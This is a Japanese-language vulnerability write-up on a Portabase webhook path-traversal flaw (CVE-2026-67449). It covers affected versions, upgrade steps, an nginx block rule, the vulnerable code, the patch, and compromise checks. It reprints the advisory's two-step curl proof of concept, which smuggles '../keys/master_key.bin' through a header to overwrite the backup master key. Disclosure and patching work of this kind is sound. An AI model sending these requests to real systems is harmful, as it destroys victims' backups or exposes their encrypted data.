Portabase のマスターキー上書き、1.21.2 で修正(CVE-2026-67449)
Portabase の TUS Webhook の未認証パストラバーサルにより、暗号化バックアップを保護する AES-256 マスターキーが上書きされます。1.21.2 で修正されました。
要点
- Portabase の TUS Webhook は
X-File-Pathヘッダーを信頼し、アップロードされたファイルをプライベートディレクトリ内の任意のパスに名前変更します。この脆弱性は CVE-2026-67449 で、CVSS v3.1 9.8 です。 - セルフホストの Community Edition 1.21.1 以前が、
/tus/files/または/api/tus/hooksに到達できる場合に影響を受けます。修正は 2026-07-04 に公開された 1.21.2 です。 - アドバイザリには、
/data/private/keys/master_key.binを上書きする 2 リクエストの概念実証が含まれています。実際の悪用は知られておらず、CVE は 2026-11-12 時点で CISA KEV にありません。 - 1.21.2 以降に更新してください。最新リリースは 1.36.1 です。できない場合は、リバースプロキシで
/api/tus/hooksと/tus/をブロックします。
影響を受けますか?
次の条件がすべて当てはまる場合に影響を受けます。
- セルフホストの Portabase Community Edition 1.21.1 以前を実行している。
- 信頼できないクライアントがインスタンスに到達でき、
/tus/files/または/api/tus/hooksがリバースプロキシ経由で公開されている。 - 攻撃者が TUS アップロードを作成し、
X-File-Pathヘッダーを制御できる。アカウントは不要です。
デフォルトの Docker デプロイでは、nginx がポート 80 で待ち受け、/tus/ を tusd アップロードサービスへプロキシし、tusd がアプリケーションの /api/tus/hooks を呼び出します。Webhook は包括的な location / ルールでも到達できるため、/tus/ だけをブロックするプロキシでは Webhook が開いたままになる可能性があります。アドバイザリは、TUS アップロードエンドポイントが認証を要求していなかったと述べています。
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| Portabase Community Edition | 1.21.1 以前 | 1.21.2 |
| Portabase Community Edition | 1.21.2 以降 | 影響なし |
Docker Hub イメージの取得回数は 398,662 回、GitHub リポジトリのスター数は 1,899 です。影響範囲は 1.21.2 より前のセルフホスト Community Edition です。
実行中のコンテナのイメージタグを確認します。アプリケーションはバージョンエンドポイントを公開していないため、コンテナの作成元イメージを読み取ります。
docker inspect portabase --format '{{.Config.Image}}'
docker compose images | grep -i portabase
タグが latest の場合は、実行中のコンテナのダイジェストを、意図したリリースのダイジェストと比較します。最初のコマンドは実行中のダイジェストを読み取り、続くコマンドはリリースを取得してそのダイジェストを読み取ります。
docker inspect portabase --format '{{index .RepoDigests 0}}'
docker pull portabase/portabase:1.36.1
docker image inspect portabase/portabase:1.36.1 --format '{{index .RepoDigests 0}}'
現在のリリースは 2026-11-10 に公開された 1.36.1 です。1.21.2 以降のタグには修正が含まれます。
修正方法
Portabase 1.21.2 以降に更新し、コンテナを再作成します。実行中のコンテナが古いイメージを使っている場合、新しいイメージを取得するだけでは足りません。
- 修正済みイメージを取得し、サービスを再作成します。
bash docker compose pull docker compose up -d - 実行中のコンテナが新しいイメージを使っていることを確認します。
bash docker inspect portabase --format '{{.Config.Image}}' - バージョンを固定する場合は
1.21.2以降のタグを使います。最新リリースは1.36.1です。 - ソースからビルドする場合は、コミット
8dcb4067または 1.21.2 タグを使います。修正は pull request #355 にあります。
すぐに更新できない場合は、リバースプロキシでアップロード経路をブロックします。アドバイザリは、信頼できないネットワークからの /api/tus/hooks と /tus/ への外部アクセスを拒否することを推奨しています。これによりリモート攻撃者の経路は閉じますが、正規のエージェントのアップロードも止まるため、更新を計画してください。
- nginx で、包括的な location より前に Webhook を拒否します。
nginx location = /api/tus/hooks { deny all; return 404; } /tus/をバックアップエージェントが動作するネットワークに制限するか、公開リスナーから外します。- プロキシをリロードし、信頼できないネットワークから Webhook が 404 を返すことを確認します。
Webhook のブロックは回避策であり、修正ではありません。別の経路でアプリケーションに到達したリクエストは、依然としてトラバーサルを悪用できます。
根本原因は何ですか?
TUS Webhook は HTTP ヘッダーからファイルパスを受け取り、.. を確認せずにアップロードディレクトリへ結合します。path.join() はトラバーサルを正規化するため、結果のパスはアップロードディレクトリを抜けてマスターキーに到達できます。
脆弱なコードは 1.21.1 タグの app/api/tus/hooks/route.ts にあります。関連する行は次のとおりです。
const filePath = headers["X-File-Path"]?.[0];
if (!filePath) {
return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
}
const uploadDir = path.join(env.PRIVATE_PATH!, "/uploads/");
const oldFilePath = path.join(uploadDir, "tmp", id);
const newFilePath = path.join(uploadDir, filePath);
fs.mkdirSync(path.dirname(newFilePath), {recursive: true});
...
fs.renameSync(oldFilePath, newFilePath);
コンテナ内の PRIVATE_PATH はデフォルトで /data/private です。アップロードディレクトリは /data/private/uploads/ で、アップロードの一時ファイルは /data/private/uploads/tmp/<id> です。ヘッダー値 ../keys/master_key.bin により、newFilePath は /data/private/uploads/../keys/master_key.bin、つまり /data/private/keys/master_key.bin に解決されます。fs.mkdirSync() は必要に応じて親ディレクトリを作成し、fs.renameSync() は対象をアトミックに置き換えます。
マスターキーは keys/master_key.bin にモード 0600 で保存された 32 バイトのランダム値です。Portabase はバックアップデータの AES-256-GCM 暗号化に使います。同じファイルは src/utils/rsa-keys.ts の getOrCreateMasterKey() が作成し、Webhook の書き込み先も同じパスです。
ヘッダーは攻撃者が制御できます。tusd がリクエストヘッダーを Webhook に転送するからです。アップロードエンドポイントは認証を要求しないため、未認証のクライアントがアップロードを開始し、X-File-Path にトラバーサルを設定できます。Webhook は、エージェントが選んだパスを tusd が送ってくると期待してヘッダーを信頼します。
どのように悪用されますか?
- 攻撃者は
X-File-Pathにトラバーサルを含む TUS アップロードを作成します。アップロードサービスは新しいアップロードの場所を返します。 - 攻撃者はその場所に 32 バイトをアップロードします。アップロードが完了すると、tusd が元のヘッダーで Webhook を呼び出します。
- Webhook は
../keys/master_key.binをアップロードディレクトリに結合し、必要ならkeysディレクトリを作成して、一時アップロードをマスターキーの上に名前変更します。 - 攻撃者はキー素材を掌握します。古いキーで暗号化された既存のバックアップは復号できません。上書き後に暗号化されたデータは、新しいキーを知る者に読めます。
アドバイザリは 2 リクエストの概念実証を公開しています。以下はアドバイザリからコピーした手順です。
# Step 1: create the upload
curl -X POST http://<host>/tus/files/ \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Length: 32" \
-H "X-File-Path: ../keys/master_key.bin" \
-H "X-Status: success"
# Step 2: upload the attacker-controlled key material
curl -X PATCH http://<host>/tus/files/<id> \
-H "Tus-Resumable: 1.0.0" \
-H "Content-Type: application/offset+octet-stream" \
-H "Upload-Offset: 0" \
-H "X-File-Path: ../keys/master_key.bin" \
-H "X-Status: success" \
-d "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
アドバイザリの例は 32 バイトの A を使っています。実際の攻撃者は自分が知っているキーを選びます。アドバイザリは被害報告も実際の悪用も公開していません。
攻撃の流れは?
未認証のアップロードリクエストがヘッダーにトラバーサルを運び、Webhook がパスの行き先を確認せずにアップロードファイルを AES マスターキーの上に名前変更します。
flowchart LR
A["POST /tus/files/<br/>X-File-Path: ../keys/master_key.bin"] --> B["tusd がアップロードを保存<br/>private/uploads/tmp"]
B --> C["tusd が呼び出す<br/>/api/tus/hooks"]
C --> D["path.join(uploadDir, filePath)<br/>トラバーサル確認なし"]
D --> E["fs.renameSync()<br/>master_key.bin を上書き"]
E --> F["古いバックアップは復号不能<br/>新しいキーは攻撃者が把握"]
攻撃者に何ができますか?
未認証の攻撃者は、Portabase プロセスがプライベートディレクトリ内で書き込める任意のファイルを上書きできます。最も危険な対象は AES-256-GCM のマスターキーです。上書きすると、古いキーで暗号化されたすべてのバックアップが永久に読めなくなり、復旧能力に対する破壊的なサービス拒否になります。
攻撃者が自分が知っているキーを書き込めば、上書き後に暗号化されたデータも読めます。新しいバックアップや、Portabase が同じキーで暗号化する他のデータが含まれます。アドバイザリは、既存バックアップの破壊的な喪失と、攻撃者が知るキーで暗号化されたデータの開示の両方を説明しています。
CVEレコードはこの脆弱性をCVSS v3.1 9.8、CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hと評価しています。
攻撃者にはネットワーク到達性が必要で、アカウントは不要です。パスはソースコードに固定されているため、プライベートディレクトリの構造を発見する必要はありません。唯一の前提条件は、TUS アップロードまたは Webhook に到達できることです。
修正が機能する理由
パッチは三つの層を追加します。第一に、ヘッダーを厳格なパスパターンに制限します。第二に、解決後のパスがアップロードディレクトリ内に留まることを検証します。第三に、Webhook 呼び出しを既存のバックアップレコードに結び付け、nginx のエッジで Webhook をブロックします。
+const FILE_PATH_RE = /^backups\/\d{4}-\d{2}-\d{2}\/[A-Za-z0-9._-]+$/;
...
- const fileName = headers["X-File-Name"]?.[0];
const filePath = headers["X-File-Path"]?.[0];
- if (!filePath) {
- return NextResponse.json({error: "Missing X-File-Path"}, {status: 500});
+ if (!filePath || !FILE_PATH_RE.test(filePath)) {
+ log.warn({filePath}, "Rejected invalid X-File-Path in TUS hook");
+ return NextResponse.json({error: "Invalid file path"}, {status: 400});
}
+
+ const generatedId = headers["X-Generated-Id"]?.[0];
+ const backupStorageId = headers["X-Backup-Storage-Id"]?.[0];
...
+ const resolvedBase = path.resolve(uploadDir);
+ const newFilePath = path.resolve(resolvedBase, filePath);
+ const rel = path.relative(resolvedBase, newFilePath);
+ if (rel.startsWith("..") || path.isAbsolute(rel)) {
+ log.warn({filePath}, "Rejected path traversal in TUS hook");
+ return NextResponse.json({error: "Invalid file path"}, {status: 400});
+ }
正規表現は backups/YYYY-MM-DD/<filename> を限られた文字種でしか受け付けないため、../keys/master_key.bin はファイルシステム呼び出しの前に拒否されます。path.resolve() と path.relative() の確認は、後でパターンが変わってもアップロードディレクトリを抜けるパスを捕捉します。
認可ブロックは、X-Generated-Id と X-Backup-Storage-Id がデータベースとバックアップストレージのレコードに一致することを要求するため、偽造された Webhook 呼び出しは拒否されます。nginx ルールは公開エッジからの /api/tus/hooks を拒否します。
パッチは Webhook のトラバーサルを覆います。アドバイザリは、内部 tusd Webhook が loopback 経由でのみ到達可能になったとも述べており、概念実証が使った外部経路を除去します。
侵害されたかどうかを確認するには?
公開された侵害指標はありません。上書きはマスターキーファイルを変更するため、正常なコピーがあれば比較します。
ファイルのサイズと更新時刻を確認します。
docker exec <container> ls -l /data/private/keys/master_key.bin
docker exec <container> stat /data/private/keys/master_key.bin
ファイルは 32 バイトで、更新時刻はインストール時または最後の意図的なローテーションと一致するはずです。自分でローテーションしていないファイルの更新時刻が最近であれば、手がかりになります。
キーのハッシュをキーのバックアップと比較します。
docker exec <container> sha256sum /data/private/keys/master_key.bin
プライベートディレクトリ内の予期しないファイル、特にキーの隣の .meta ファイルを探します。
docker exec <container> find /data/private -maxdepth 3 -type f -newermt "2026-07-04"
バックアップの復元失敗ももう一つの信号です。上書きが疑われる前に作成したバックアップが復号できなくなった場合、キーが置き換えられた可能性があります。再起動や再構築の前にコンテナとプライベートディレクトリを保存してください。再起動で証拠が上書きされることがあります。
年表
- 2026-07-04: Portabase がアドバイザリ GHSA-7697-vf3j-253j と修正版 1.21.2 を公開します。
- 2026-07-29: CVE ID が予約されます。
- 2026-11-11: 修正から 4 か月後、CVE-2026-67449 のレコードが公開されます。
よくある質問
すべての Portabase インストールが影響を受けますか?
いいえ。アドバイザリはセルフホストの Community Edition 1.21.1 以前を対象としています。1.21.2 以降のインストールは修正済みです。信頼できないクライアントから到達できないインスタンスは、この経路では影響を受けません。
TUS エンドポイントは公開されるべきものですか?
デフォルトのデプロイでは nginx 経由で /tus/ を公開し、アップロードを認証しません。修正はプロキシで内部 Webhook をブロックし、Webhook 呼び出しをバックアップレコードに結び付けます。Portabase をインターネットに公開する場合は、両方の経路を確認してください。
攻撃者は既存のバックアップを読めますか?
キーを上書きすると既存のバックアップは読めなくなりますが、復号されるわけではありません。攻撃者が自分が知っているキーを書き込めば、上書き後に暗号化されたデータを読めます。アドバイザリは破壊的な結果と開示の結果の両方を説明しています。
公開エクスプロイトはありますか?
アドバイザリには 2 リクエストの概念実証が含まれています。実際の悪用や被害報告は公開されておらず、CVE は 2026-11-12 時点で CISA KEV にありません。
すでに新しいリリースを実行している場合は?
compose ファイルのタグではなく、実行中のコンテナのイメージタグを確認してください。更新前に作成されたコンテナは、再作成されるまで古いイメージを実行し続けることがあります。1.21.2 以降のタグには修正が含まれます。
/tus/ をブロックするとバックアップが壊れますか?
バックアップエージェントがその経路でアップロードする場合は壊れます。/api/tus/hooks だけをブロックすると公開エッジから Webhook は閉じますが、アプリケーションは別の経路で到達可能なままかもしれません。できるだけ早く更新してください。
参考資料
- Portabase アドバイザリ GHSA-7697-vf3j-253j、2026-07-04 公開: https://github.com/Portabase/portabase/security/advisories/GHSA-7697-vf3j-253j (2026年11月12日確認)
- CVE-2026-67449 レコード、GitHub CNA、2026-11-11 公開: https://www.cve.org/CVERecord?id=CVE-2026-67449 (2026年11月12日確認)
- 修正コミット 8dcb4067、pull request #355: https://github.com/Portabase/portabase/commit/8dcb406790728fbdbf758ec88bf000af79498fc1 (2026年11月12日確認)
- Portabase 1.21.2 リリース: https://github.com/Portabase/portabase/releases/tag/1.21.2 (2026年11月12日確認)
- Portabase リポジトリと現在のリリース 1.36.1: https://github.com/Portabase/portabase (2026年11月12日確認)
- Docker Hub、portabase/portabase の取得回数: https://hub.docker.com/r/portabase/portabase (2026年11月12日確認)